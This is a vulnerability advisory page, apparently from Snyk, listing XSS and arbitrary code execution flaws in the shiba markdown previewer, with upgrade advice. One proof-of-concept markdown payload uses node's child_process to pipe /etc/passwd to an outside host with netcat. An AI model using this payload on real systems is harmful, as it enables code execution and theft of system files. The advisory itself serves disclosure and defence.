shiba@0.4.0 vulnerabilities

Live markdown previewer with linter

Direct Vulnerabilities

Known vulnerabilities in the shiba package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • M
Cross-site Scripting (XSS)

shiba is a Live markdown previewer with linter

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It is possible to inject malicious JavaScript as part of a markdown file which is executed as JavaScript. This can be leveraged to execute arbitrary commands on a victim's system.

PoC

<s <onmouseover="alert(1)"> <s onmouseover="const exec = require('child_process').exec; exec('nc -w 3 192.168.8.100 1337 < /etc/passwd', (e, stdout, stderr)=> { if (e instanceof Error)
 { console.error(e); throw e; } console.log('stdout ', stdout); console.log('stderr ', stderr); });alert('1')">Hallo</s>

How to fix Cross-site Scripting (XSS)?

Upgrade shiba to version 1.1.1 or higher.

<1.1.1
  • H
Arbitrary Code Execution

shiba is a Live markdown previewer with linter

Affected versions of this package are vulnerable to Arbitrary Code Execution due to the default usage of the function load() of the package js-yaml instead of its secure replacement , safeLoad().

How to fix Arbitrary Code Execution?

There is no fixed version for shiba.

*
  • M
Cross-site Scripting (XSS)

shiba is a rich live markdown preview app with linter.

Affected versions of this package are vulnerable to a Cross-site Scripting (XSS) attack which can lead to code execution due to an enabled node integration.

How to fix Cross-site Scripting (XSS)?

Upgrade to shiba version 1.1.1 or higher.

<1.1.1